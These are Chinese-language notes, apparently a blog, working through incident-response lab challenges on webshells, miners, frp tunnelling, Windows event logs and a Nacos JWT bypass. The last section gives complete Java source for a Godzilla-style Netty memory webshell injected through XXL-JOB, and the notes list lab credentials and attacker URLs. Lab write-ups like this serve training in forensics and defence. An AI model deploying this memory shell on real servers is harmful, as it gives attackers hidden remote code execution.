Your MariaDB connection id is 32
Server version: 10.6.12-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> create database nacos_config;
Query OK, 1 row affected (0.017 sec)

MariaDB [(none)]> exit;
Bye
hackme@hackme-virtual-machine:~/桌面$ java -version
找不到命令 “java”,但可以通过以下软件包安装它:
sudo apt install openjdk-11-jre-headless  # version 11.0.20.1+1-0ubuntu1~22.04, or
sudo apt install default-jre              # version 2:1.11-72build2
sudo apt install openjdk-17-jre-headless  # version 17.0.8.1+1~us1-0ubuntu1~22.04
sudo apt install openjdk-18-jre-headless  # version 18.0.2+9-2~22.04
sudo apt install openjdk-19-jre-headless  # version 19.0.2+7-0ubuntu3~22.04
sudo apt install openjdk-8-jre-headless   # version 8u382-ga-1~22.04.1
hackme@hackme-virtual-machine:~/桌面$ sudo apt install openjdk-8-jre-headless
.....
done.
hackme@hackme-virtual-machine:~/桌面$ ls
123.txt  1.php  1.png  1.sh  2.php  新建文件夹  libssl1.1_1.1.1-1ubuntu2.1~18.04.21_amd64.deb  ssh  sshd  test  xy.txt
hackme@hackme-virtual-machine:~/桌面$ ls /usr/lib/jvm/
java-1.8.0-openjdk-amd64  java-8-openjdk-amd64
hackme@hackme-virtual-machine:~/桌面$ sudo vim /etc/profile
hackme@hackme-virtual-machine:~/桌面$ source /etc/profile
hackme@hackme-virtual-machine:~/桌面$ tar -zxvf nacos-server-2.2.3.tar.gz 
.......
hackme@hackme-virtual-machine:~/桌面$ mv nacos /usr/local
mv: 无法将 'nacos' 移动至 '/usr/local/nacos': 权限不够
hackme@hackme-virtual-machine:~/桌面$ sudo mv nacos /usr/local
hackme@hackme-virtual-machine:~/桌面$  cd /usr/local/nacos/conf
hackme@hackme-virtual-machine:/usr/local/nacos/conf$ vim application.properties
hackme@hackme-virtual-machine:/usr/local/nacos/conf$ ls
1.4.0-ipv6_support-update.sql  application.properties          cluster.conf.example  mysql-schema.sql
announcement.conf              application.properties.example  derby-schema.sql      nacos-logback.xml
hackme@hackme-virtual-machine:/usr/local/nacos/conf$ rm application.properties
hackme@hackme-virtual-machine:/usr/local/nacos/conf$ touch application.properties
hackme@hackme-virtual-machine:/usr/local/nacos/conf$ sudo chmod 777 application.properties
hackme@hackme-virtual-machine:/usr/local/nacos/conf$ sudo vim application.properties
hackme@hackme-virtual-machine:/usr/local/nacos/conf$ cd /usr/local/nacos/bin
hackme@hackme-virtual-machine:/usr/local/nacos/bin$ ./startup.sh -m standalone
/usr/lib/jvm/java-1.8.0-openjdk-amd64/bin/java -Djava.ext.dirs=/usr/lib/jvm/java-1.8.0-openjdk-amd64/jre/lib/ext:/usr/lib/jvm/java-1.8.0-openjdk-amd64/lib/ext  -Xms512m -Xmx512m -Xmn256m -Dnacos.standalone=true -Dnacos.member.list= -Xloggc:/usr/local/nacos/logs/nacos_gc.log -verbose:gc -XX:+PrintGCDetails -XX:+PrintGCDateStamps -XX:+PrintGCTimeStamps -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=10 -XX:GCLogFileSize=100M -Dloader.path=/usr/local/nacos/plugins,/usr/local/nacos/plugins/health,/usr/local/nacos/plugins/cmdb,/usr/local/nacos/plugins/selector -Dnacos.home=/usr/local/nacos -jar /usr/local/nacos/target/nacos-server.jar  --spring.config.additional-location=file:/usr/local/nacos/conf/ --logging.config=/usr/local/nacos/conf/nacos-logback.xml --server.max-http-header-size=524288
nacos is starting with standalone
nacos is starting,you can check the /usr/local/nacos/logs/start.out
hackme@hackme-virtual-machine:/usr/local/nacos/bin$ ps -aux | grep nacos
hackme     24305  225  5.4 4117592 331024 pts/1  Sl   21:31   0:15 /usr/lib/jvm/java-1.8.0-openjdk-amd64/bin/java -Djava.ext.dirs=/usr/lib/jvm/java-1.8.0-openjdk-amd64/jre/lib/ext:/usr/lib/jvm/java-1.8.0-openjdk-amd64/lib/ext -Xms512m -Xmx512m -Xmn256m -Dnacos.standalone=true -Dnacos.member.list= -Xloggc:/usr/local/nacos/logs/nacos_gc.log -verbose:gc -XX:+PrintGCDetails -XX:+PrintGCDateStamps -XX:+PrintGCTimeStamps -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=10 -XX:GCLogFileSize=100M -Dloader.path=/usr/local/nacos/plugins,/usr/local/nacos/plugins/health,/usr/local/nacos/plugins/cmdb,/usr/local/nacos/plugins/selector -Dnacos.home=/usr/local/nacos -jar /usr/local/nacos/target/nacos-server.jar --spring.config.additional-location=file:/usr/local/nacos/conf/ --logging.config=/usr/local/nacos/conf/nacos-logback.xml --server.max-http-header-size=524288 nacos.nacos
hackme     24428  0.0  0.0  12188  2432 pts/1    S+   21:31   0:00 grep --color=auto nacos
hackme@hackme-virtual-machine:/usr/local/nacos/bin$

登录抓个包

HTTP/1.1 200 
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Security-Policy: script-src 'self'
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxOTA4MTEzNn0.SecuoZ-l-gYc7F2p6Ms5jApaBUDPgy4Y_oDivVmIBK4
Content-Type: application/json
Date: Sat, 22 Jun 2024 13:32:16 GMT
Connection: close
Content-Length: 181

{"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxOTA4MTEzNn0.SecuoZ-l-gYc7F2p6Ms5jApaBUDPgy4Y_oDivVmIBK4","tokenTtl":18000,"globalAdmin":true,"username":"nacos"}

burp替换响应包,成功登录,这里不能用jwt构造,要不进来会没有权限,只能是自己用key搭起来然后抓包,应该是中间有什么未知的处理

翻一下nacos配置文件的 flag

# file-managerpassword
file-manager:
  name: admin
  password: xj2023@1578921@123
  jwtkey: 123456
#flag{9d7ffcef-bcd1-4f4b-9a2d-d51862484168}

File Management System的 flag

jwt的key是123456,登录提示要用sysadmin123456登录

构造一下然后替换cookie,刷新进来

结果flag是藏在上传的msg里面,随便传了个东西

flag{d6c578d4a41a141d731fe7c36c8c0f77}

用运维字典爆破一下

root 密码多少 flag{password}

root:imArGcj9

黑客留下的 backdoor 后门的绝对路径

Linux_check梭一下,发现异常启动项

flag{/etc/systemd/system/evilfms.service}

第九章-blueteam 的小心思3

应急响应工程师小 c 被通知服务器有对外链接请求的痕迹,并且提供给了小 c 一段 waf 上截获的数据包,请你分析对应的虚拟机环境跟数据包,找到关键字符串并且尝试修复漏洞

root@ip-10-0-10-2:~# service --status-all
 [ - ]  apache-htcacheclean
 [ + ]  apache2
 [ + ]  apparmor
 [ + ]  cloud-config
 [ + ]  cloud-final
 [ + ]  cloud-init
 [ + ]  cloud-init-local
 [ - ]  console-setup.sh
 [ + ]  cron
 [ + ]  dbus
 [ - ]  hwclock.sh
 [ - ]  keyboard-setup.sh
 [ + ]  kmod
 [ + ]  networking
 [ + ]  procps
 [ + ]  rsyslog
 [ + ]  ssh
 [ - ]  sudo
 [ + ]  udev
 [ + ]  ufw
 [ - ]  x11-common
root@ip-10-0-10-2:~#

应该是web出了问题,喽一眼,三个马

可以看到是一直在扫描这个马的password,随后试出来是sysadmin

审计日志,攻击者下载恶意木马文件的 ip是多少 flag{ip}

可以看到是在http://192.168.150.253/shell.php下了个webshell

审计流量包,木马文件连接密码是什么? flag{xxx}

md5解出来是tt,不对,结果是cmd....

flag{cmd}

审计流量包,攻击者反弹的IP和端口是什么? flag{ip:port}

扫描+蚁剑,流量太杂了,搓一个脚本吧还是,Windows的pyshark还出问题了,没修好...

import pyshark
import re
import base64


def is_base64(s):
    pattern = re.compile(r'^[A-Za-z0-9+/]*={0,2}$')
    return bool(pattern.match(s))


pcap_file = 'result.pcap'
cap = pyshark.FileCapture(pcap_file)
for packet in cap:
    if 'URLENCODED-FORM' in str(packet):
        try:
            data = str(packet['URLENCODED-FORM'])
            value_pattern = r"Value:\s*(.+)"
            values = re.findall(value_pattern, data)
            for value in values:
                value = value.strip()[11:]
                if is_base64(value):
                    print(base64.b64decode(value))
        except:
            pass

cap.close()

flag{192.168.150.199:4444}

提交黑客上传恶意文件的 md5 md5sum xxx.so

正常开放有很长一段时间的服务器短时间内不会有这么多文件变动

root@ip-10-0-10-3:~# find / -newerct '2023-12-21 07:30:00' ! -newerct '2023-12-23 23:59:59' -type f ! -path '/var/lib/cloud/*' ! -path '/var/lib/dpkg/*' ! -path '/var/lib/python3/*' ! -path '/usr/share/*' ! -path '/usr/lib/python3/*' ! -path '/etc/cloud/*'
find: ‘/proc/4057/task/4057/fdinfo/6’: No existe el fichero o el directorio
find: ‘/proc/4057/fdinfo/5’: No existe el fichero o el directorio
/dump.rdb
/boot/grub/grub.cfg-bkup
/boot/grub/grub.cfg
/result.pcap
/module.so
/home/debian/.profile
/home/debian/.bashrc
/home/debian/.bash_logout
/etc/profile.d/Z99-cloud-locale-test.sh
/etc/ssh/sshd_config
/etc/NetworkManager/dispatcher.d/cloud-init-hook-network-manager
/etc/rsyslog.d/21-cloudinit.conf
/etc/dhcp/dhclient-exit-hooks.d/hook-dhclient
/etc/gshadow
/etc/group-
/etc/subgid
/etc/passwd
/etc/init.d/cloud-init
/etc/init.d/cloud-config
/etc/init.d/cloud-final
/etc/init.d/cloud-init-local
/etc/rc.local
/etc/subuid-
/etc/group
/etc/passwd-
/etc/subgid-
/etc/subuid
/etc/network/interfaces
/etc/network/vmimport.interfaces
/etc/default/grub
/etc/default/grub-bkup
/etc/redis.conf
/etc/rc.local.vmimport
/etc/crontab
/etc/fstab.orig
/etc/gshadow-
/etc/hosts
/etc/fstab
/etc/ld.so.cache
/usr/sbin/sgdisk
/usr/sbin/cgdisk
/usr/sbin/fixparts
/usr/sbin/gdisk
/usr/lib/cloud-init/uncloud-init
/usr/lib/cloud-init/ds-identify
/usr/lib/cloud-init/write-ssh-key-fingerprints
/usr/lib/udev/rules.d/66-azure-ephemeral.rules
/usr/lib/systemd/system/cloud-config.service
/usr/lib/systemd/system/cloud-init-local.service
/usr/lib/systemd/system/cloud-config.target
/usr/lib/systemd/system/cloud-final.service
/usr/lib/systemd/system/cloud-init.target
/usr/lib/systemd/system/cloud-init.service
/usr/lib/systemd/system-generators/cloud-init-generator
/usr/lib/x86_64-linux-gnu/libeatmydata.so.1.1.2
/usr/lib/x86_64-linux-gnu/libyaml-0.so.2.0.5
/usr/bin/cloud-id
/usr/bin/cloud-init
/usr/bin/curl
/usr/bin/growpart
/usr/bin/python3-jsonpointer
/usr/bin/eatmydata
/usr/bin/python3-jsonschema
/usr/bin/vcs-run
/usr/bin/python3-jsondiff
/usr/bin/vimtutor
/usr/bin/cloud-init-per
/usr/bin/ec2metadata
/usr/bin/pyjwt3
/usr/bin/python3-jsonpatch
/usr/bin/vim.basic
/var/www/html/robots.txt
/var/www/html/secret/.shell.php
/var/www/html/secret/index.php
/var/www/html/secret/evil.php
/var/cache/apt/pkgcache.bin
/var/cache/ldconfig/aux-cache
/var/log/apt/eipp.log.xz
/var/log/faillog
/var/lib/apt/extended_states
/var/lib/dhcp/dhclient.ens33.leases
/var/lib/systemd/timesync/clock
/var/lib/systemd/deb-systemd-helper-enabled/cloud-config.service.dsh-also
/var/lib/systemd/deb-systemd-helper-enabled/cloud-init.target.wants/cloud-config.service
/var/lib/systemd/deb-systemd-helper-enabled/cloud-init.target.wants/cloud-init-local.service
/var/lib/systemd/deb-systemd-helper-enabled/cloud-init.target.wants/cloud-final.service
/var/lib/systemd/deb-systemd-helper-enabled/cloud-init.target.wants/cloud-init.service
/var/lib/systemd/deb-systemd-helper-enabled/cloud-init-local.service.dsh-also
/var/lib/systemd/deb-systemd-helper-enabled/cloud-init.service.dsh-also
/var/lib/systemd/deb-systemd-helper-enabled/cloud-final.service.dsh-also
/root/.viminfo

有个/module.so

root@ip-10-0-10-3:~# md5sum /module.so
d41d8cd98f00b204e9800998ecf8427e  /module.so
root@ip-10-0-10-3:~#

攻击者在服务器内权限维持请求外部地址和恶意文件的地址 flag{http://xxxxxxxxxx/xx.xxx}

计划任务有问题/etc/crontab

http://192.168.150.199:88/shell.php

第九章-NOP Team dmz-A

禅道部署在/opt下,翻了一下还有fscan,压缩整个目录

1、请提交禅道的版本号,格式: flag{xx.xxx.xxxx}

目录下有个压缩包,写的是18.0.beta1,一搜确实是

2、分析攻击者使用了什么工具对内网环境进行了信息收集,将该工具名称提交 flag{xxxx}

/opt/gj下有个fscan,且使用过

10.0.1.147:8080 open
10.0.1.1:21 open
10.0.1.120:22 open
10.0.1.1:81 open
10.0.1.1:80 open
10.0.1.199:22 open
10.0.1.147:22 open
[*] WebTitle: http://10.0.1.147:8080    code:200 len:3757   title:欢迎使用禅道集成运行环境!
[*] WebTitle: http://10.0.1.1:81        code:503 len:107    title:None
[*] WebTitle: http://10.0.1.1           code:403 len:13599  title:OpenWrt - LuCI
[+] SSH:10.0.1.199:22:admin 123456

3、攻击者攻击服务器得到shell以后,是处于哪个用户下做的操作,将该用户名提交 flag{xxxx}

可以看到是执行了一些命令,翻一翻

这里应该是弹了shell

nobody

4、攻击者扫描到内网 DMZ-B机器的账户密码为多少格式 flag{root:root}

flag{admin:123456}

第九章-NOP Team dmz-B

攻击者通过DMZ-A登陆到DMZ-B机器里,在上面发现了DMZ-C机器里的一个密钥,通过某服务直接进行了登陆,请将服务名与登陆的用户名提交 格式:flag{ftp:anonymous}

history发现是ssh连了10.0.1.120的deploy用户

第九章-NOP Team dmz-C

可以通过dmz-B泄露的密钥将其保存到本地,然后进行登陆ssh
ssh -i xxx_xxx xxxx@xxxx.xxxx.xxxx

1、攻击者通过攻击DMZ-B机器发现有密钥可以免密登录到DMZ-C机器里,然后攻击者上传了一个挖矿程序,请将该挖矿程序的名称提交,格式 <flag{xxxxxx}>

处理一下

$ ssh-keygen -p -m PEM -f id_rsa
Key has comment 'admin@nop-team-aptDMZB'
Enter new passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved with the new passphrase.

然后登陆

看一下history

看见sudo -i,是个提权的

但是ps没看见有异常挖矿进程

看见他进了opt目录,进去看看,这个xmrig是个挖矿程序

2、攻击者通过攻击DMZ-B机器发现有密钥可以免密登录到DMZ-C机器里,然后攻击者上传了一个挖矿程序,请将该挖矿的地址提交,格式 <flag{xxxxxx}>

config里面自然就是矿池地址了

xmrs1.pool.cn.com:55503

3、攻击者通过攻击DMZ-B机器发现有密钥可以免密登录到DMZ-C机器里,然后攻击者上传了一个挖矿程序,但由于DMZ-C机器是不出网的,所以攻击者通过了一种方式将流量转发了出去,请将转发的目标端口提交,格式 <flag{xxxxxx}>

/opt/client有个frp

[common]
server_addr = 10.0.1.147
server_port = 7000

[csocks5]
type = tcp
plugin = socks5
remote_port = 1080

4、攻击者通过攻击DMZ-B机器发现有密钥可以免密登录到DMZ-C机器里,然后攻击者上传了一个挖矿程序,但由于DMZ-C机器是不出网的,所以攻击者通过了一种方式将流量转发了出去,请将用来做转发的工具的名称提交,格式 <flag{xxxxxx}>

frp

5、攻击者最后通过某配置文件配置错误,从而直接可以拥有root用户权限,请将错误配置的那一行等于号后面的内容(不含空格)提交,格式 <flag{xxxxxxx}>

deploy ALL=(ALL:ALL) NOPASSWD:ALL

第九章-algo挖矿

通过本地 PC SSH到服务器并且分析黑客的 IP 为多少,将黑客 IP 作为 FLAG 提交;

可以看到前面一直失败,后面成功了

172.20.10.3

通过本地 PC SSH到服务器并且分析黑客挖矿程序反链 IP 为多少,将黑客挖矿程序反链的 IP 作为 FLAG 提交;

root@ip-10-0-10-4:~# find / -newerct '2024-01-28 01:55:00' ! -newerct '2024-01-28 23:59:59' -type f ! -path '/var/lib/cloud/*' -exec ls -lctr --full-time {} \+ 2>/dev/null

看/root/.viminfo

被修改的有/etc/rc0.d/rc.local、/etc/cloud/cloud.cfg、crontab、~/.ssh/authorized_keys

root@ip-10-0-10-4:~# cat /etc/rc0.d/rc.local
/bin/dhpcd>/dev/null 2>/dev/null
root@ip-10-0-10-4:~#

结合netstat,大致判断dhpcd有问题

但是不知道外链到底是哪个

通过本地 PC SSH到服务器并且分析黑客权限维持文件的md5,将文件的 MD5(md5sum /file) 作为 FLAG 提交;

计划任务

root@ip-10-0-10-4:~# md5sum /var/spool/cron/crontabs/root
7b9a3a8a9e47e5c9675278420e6e7fa0  /var/spool/cron/crontabs/root

通过本地 PC SSH到服务器并且分析黑客的用户名为什么,将黑客的用户名作为 FLAG 提交;

root@ip-10-0-10-4:~# cat /root/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQClDCnNgmUfB9lQAGeflXBqtvAv0bgtRkThlpe7+jECDoCrKnoemgW+kFaxamioH30F0ztNG8TbO9z6ngTRmawgWdd8Ie0xm7wCWrj876PTcrSJn5wbGqiVGpvMri9H9AO6gn92mHWIMAIBaaCV4/7Dt1BWR0qPyG72VtAb/5XJzK9cc4Su/kGuJ1Wl2xEvE3M/nyViYTqG7ekZ9Li8aqnWJIRhp58PWHZQxFBP7t2yRaRX1yZfWKbU9oqC48zjdKqDDF9qmbGCht3fma++rqv1KtlYoth4TOCtskrL/sLpgBrs4kj2RunW1qPdlOT8I2Axz0mZKgVVszaeaqKQQg4WDhg5pLkmjcaFXKkpriXwUTxfXWQVISM4yuTtJXBu681SfupXVkgxRoHnFPhpiKHkMngqEsSEmgTTkk0g6kwVzzGf3NO7tAOD2a4muLu4q6Mfbq2d+dOHCz3QRQllZWWTlEzf+I7VIevJsCE9j15/iq9yZsV04AoIIlioy1iC82U= otto
root@ip-10-0-10-4:~#

第九章-kswapd0挖矿

ps看进程看见有个不对劲的

计划任务看着也都不太正常

看着也没啥可能直接进来的服务,无非就是ssh了,去看看ssh的日志

爆破完之后登上来的

通过本地 PC SSH到服务器并且分析黑客的 IP 为多少,将黑客 IP 作为 FLAG 提交

183.164.3.252

通过本地 PC SSH到服务器并且分析黑客的用户名为什么,将黑客的用户名作为 FLAG 提交;

攻击者写的秘钥

通过本地 PC SSH到服务器并且分析黑客权限维持文件的md5,将文件的 MD5(md5sum /file) 作为 FLAG 提交

看着计划任务里面一堆乱七八糟的程序,我还都看了看,结果是计划任务本身

第九章-实战篇-运维杰克

PS:杰克创建的流量包(result.pcap)在root目录下,请根据已有信息进行分析

攻击者使用的的漏洞扫描工具有哪些(两个) flag{xxxan-xxxy}

开了8848,是个nasco,一堆洞

80也有个服务,没有证据,硬猜的

flag{fscan-goby}

攻击者上传webshell的绝对路径及User-agent

内容是弹个shell

192.168.150.1 - - [30/Nov/2023:06:04:30 +0000] "GET /lot/admin/assets/uploads/maps/1701324180_Shell123.php HTTP/1.1" 200 371 "http://192.168.150.40/lot/admin/assets/uploads/maps/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36"

tm不对,后面才知道是上传的那个ua,被可以改了的那个

攻击者反弹shell的IP及端口是什么

192.168.150.110:5678

攻击者利用提权攻击添加的用户,用户名是什么

awk -F: '$3==0{print $1}' /etc/passwd看一下特权用户

攻击者留下了后门脚本,找到绝对路径(有SUID权限)

攻击者留下了持续化监控和后门脚本,找到绝对路径

看一眼计划任务

总结:跟nacos毫无关系

第九章-Where-1S-tHe-Hacker

压缩直接看出一个马,md直接删了,不知道删哪去了,不过内容是一句话木马,pass的密码

后来找到在这

额外扫出来一个

1.疑似攻击者的ID是什么?(末尾不带空格)

首页挂了个黑页

X123567X

2.攻击者在什么时间修改了网站主页?(右键文件属性复制粘贴)

2023‎年‎11‎月‎6‎日,‏‎4:55:13

flag{2023-11-6-4:55:13}

3.攻击者写入的第一个webshell文件名是?
从日志里看是SystemConfig.php在前

4.攻击者写入的第二个webshell文件名是?
syscon.php在后

5.第二个webshell的连接密码是?pass

6.攻击者新建的隐藏账户是?

wmic useraccount get /value

admin$用户

7.隐藏账户创建时间是?(答案格式:2024/12/3 9:16:23)

2023/11/6 4:45:34

8.添加隐藏账户进管理员组的时间是?(答案格式同上题)

4720是创建账户,但是我不知道添加管理员的事件id,所以可以找到创建账户的时间再往后翻翻

下面的4732是添加用户组,有两个,都试试发现是2023/11/6 4:46:07

9.攻击者在什么时间从文件中读取保留的密钥?(答案格式同上题)

往下翻翻,发现5058就是读取文件秘钥

过滤一下,登录后第一次读取应该是2023/11/6 4:46:58这个

10.隐藏账户通过(PTH)哈希传递攻击登录的时间是?

网上搜一下哈希传递攻击产生的日志,4624

搜索EventLog.EventID == 4624 && EventLog.Message contains "NtLmSsp"

11.攻击者上传的两个CobaltStrike木马文件名是?(答案格式:"A.exe和B.exe")

可以用cs的那些yara特征库跑,但是偷懒直接用火绒杀一波看看,正好体验一波6.0

没扫到

已隔离里面也没有,怪事

everything搜SystemTemp.exe,SysnomT.exe,也没用,上那些目录里看也没用

第九章-Where-1S-tHe-Hacker-part2

1.最早的WebShell落地时间是?(时间题统一格式:2022/12/12/2:22:22)

一大堆后门

2023/11/11/0:30:07

2.上题WebShell的连接密码是?

pass

3.CobaltStrike木马被添加进计划任务的时间是

在日志里看到执行了很多powershell的命令,试了试时间不对

看见计划任务里有两个11号凌晨创建的,试了试也不对

火绒、360全盘查杀也没杀出来

看了看wp,我temp目录就没有伪装成huorong.exe的马

计划任务里还真有,但是我火绒剑根本就没识别出来这个计划任务,大概率是因为没有那个exe文件

C:\Windows\System32\Tasks\Microsoft\Windows\AppID

flag{2023/11/15/8:02:20}

4.启用并添加进管理员组的用户与时间是?(格式:Username,2022/12/12/2:22:22)

看了眼guest账户被启用了,找一下11号启用账户的时间

Guest,2023/11/11/0:45:59

5.攻击者使用弱口令登录ftp的时间是?(日志审计部分)

flag{2023/11/11/1:08:54}

6.攻击者使用弱口令登录web管理员的时间是?

登录跳转

flag{2023/11/15/7:38:31}

应急响应-vulntarget-k-01

没给账号密码,要手打进去么

1.黑客是通过哪个端口渗透进服务器的

fscan扫一下

8081没东西,9999端口有一个XXL-JOB,找看个gui工具试一下,确实存在,而且可以反弹shell

但是工具弹shell失败了,手动弹也失败,应该是不出网,8080端口也没开,所以不能通过控制台登录,不出网+无回显,只能打内存马了

看了看源码可以执行Java脚本,那么就可以尝试打内存马

GLUE_GROOVY("GLUE(Java)", false, null, null),
GLUE_SHELL("GLUE(Shell)", true, "bash", ".sh"),
GLUE_PYTHON("GLUE(Python)", true, "python", ".py"),
GLUE_PHP("GLUE(PHP)", true, "php", ".php"),
GLUE_NODEJS("GLUE(Nodejs)", true, "node", ".js"),
GLUE_POWERSHELL("GLUE(PowerShell)", true, "powershell", ".ps1");

参考

http://www.bmth666.cn/2024/07/09/XXL-JOB-Executor-%E5%86%85%E5%AD%98%E9%A9%AC%E6%B3%A8%E5%85%A5/

打一个哥斯拉内存马

package com.xxl.job.service.handler;

import com.xxl.job.core.biz.impl.ExecutorBizImpl;
import com.xxl.job.core.server.EmbedServer;
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.channel.*;
import io.netty.channel.socket.SocketChannel;
import io.netty.handler.codec.http.*;
import io.netty.handler.timeout.IdleStateHandler;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.AbstractMap;
import java.util.HashSet;
import java.util.concurrent.*;

import com.xxl.job.core.log.XxlJobLogger;
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;

public class DemoGlueJobHandler extends IJobHandler {
    public static class NettyThreadHandler extends ChannelDuplexHandler{
        String xc = "3c6e0b8a9c15224a";
        String pass = "pass";
        String md5 = md5(pass + xc);
        String result = "";
        private static ThreadLocal<AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream>> requestThreadLocal = new ThreadLocal<>();
        private  static Class payload;

        private static Class defClass(byte[] classbytes)throws Exception{
            URLClassLoader urlClassLoader = new URLClassLoader(new URL[0],Thread.currentThread().getContextClassLoader());
            Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            method.setAccessible(true);
            return (Class) method.invoke(urlClassLoader,classbytes,0,classbytes.length);
        }

        public byte[] x(byte[] s, boolean m) {
            try {
                javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
                c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
                return c.doFinal(s);
            } catch(Exception e) {
                return null;
            }
        }
        public static String md5(String s) {
            String ret = null;
            try {
                java.security.MessageDigest m;
                m = java.security.MessageDigest.getInstance("MD5");
                m.update(s.getBytes(), 0, s.length());
                ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
            } catch(Exception e) {}
            return ret;
        }

        @Override
        public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
            if(((HttpRequest)msg).uri().contains("netty_memshell")) {
                if (msg instanceof HttpRequest){
                    HttpRequest httpRequest = (HttpRequest) msg;
                    AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream> simpleEntry = new AbstractMap.SimpleEntry(httpRequest,new ByteArrayOutputStream());
                    requestThreadLocal.set(simpleEntry);
                }
                if(msg instanceof HttpContent){
                    HttpContent httpContent = (HttpContent)msg;
                    AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream> simpleEntry = requestThreadLocal.get();
                    if (simpleEntry == null){
                        return;
                    }
                    HttpRequest httpRequest = simpleEntry.getKey();
                    ByteArrayOutputStream contentBuf = simpleEntry.getValue();

                    ByteBuf byteBuf = httpContent.content();
                    int size = byteBuf.capacity();
                    byte[] requestContent = new byte[size];
                    byteBuf.getBytes(0,requestContent,0,requestContent.length);

                    contentBuf.write(requestContent);

                    if (httpContent instanceof LastHttpContent){
                        try {
                            byte[] data =  x(contentBuf.toByteArray(), false);

                            if (payload == null) {
                                payload = defClass(data);
                                send(ctx,x(new byte[0], true),HttpResponseStatus.OK);
                            } else {
                                Object f = payload.newInstance();
                                java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
                                f.equals(arrOut);
                                f.equals(data);
                                f.toString();
                                send(ctx,x(arrOut.toByteArray(), true),HttpResponseStatus.OK);
                            }
                        } catch(Exception e) {
                            ctx.fireChannelRead(httpRequest);
                        }
                    }else {
                        ctx.fireChannelRead(msg);
                    }
                }
            } else {
                ctx.fireChannelRead(msg);
            }
        }

        private void send(ChannelHandlerContext ctx, byte[] context, HttpResponseStatus status) {
            FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context));
            response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
            ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
        }
    }

    public ReturnT<String> execute(String param) throws Exception{
        try{
            ThreadGroup group = Thread.currentThread().getThreadGroup();
            Field threads = group.getClass().getDeclaredField("threads");
            threads.setAccessible(true);
            Thread[] allThreads = (Thread[]) threads.get(group);
            for (Thread thread : allThreads) {
                if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
                    try {
                        Object target;

                        try {
                            target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val\$eventExecutor");
                        } catch (Exception e) {
                            continue;
                        }

                        if (target.getClass().getName().endsWith("NioEventLoop")) {
                            XxlJobLogger.log("NioEventLoop find");
                            HashSet set = (HashSet) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
                            if (!set.isEmpty()) {
                                Object keys = set.toArray()[0];
                                Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");
                                Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");
                                setFieldValue(embedHttpServerHandler, "childHandler", new ChannelInitializer<SocketChannel>() {
                                    @Override
                                    public void initChannel(SocketChannel channel) throws Exception {
                                        channel.pipeline()
                                            .addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS))  // beat 3N, close if idle
                                            .addLast(new HttpServerCodec())
                                            .addLast(new HttpObjectAggregator(5 * 1024 * 1024))  // merge request & reponse to FULL
                                            .addLast(new NettyThreadHandler())
                                            .addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor(
                                                0,
                                                200,
                                                60L,
                                                TimeUnit.SECONDS,
                                                new LinkedBlockingQueue<Runnable>(2000),
                                                new ThreadFactory() {
                                                    @Override
                                                    public Thread newThread(Runnable r) {
                                                        return new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode());
                                                    }
                                                },
                                                new RejectedExecutionHandler() {
                                                    @Override
                                                    public void rejectedExecution(Runnable r, ThreadPoolExecutor executor) {
                                                        throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!");
                                                    }
                                                })));
                                    }
                                });
                                XxlJobLogger.log("success!");
                                break;
                            }
                        }
                    } catch (Exception e){
                        XxlJobLogger.log(e.toString());
                    }
                }
            }
        }catch (Exception e){
            XxlJobLogger.log(e.toString());
        }
        return ReturnT.SUCCESS;
    }

    public Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        } catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null){
                field = getField(clazz.getSuperclass(), fieldName);
            }
        }
        return field;
    }

    public Object getFieldValue(final Object obj, final String fieldName) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        return field.get(obj);
    }

    public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }
}

哥斯拉连上

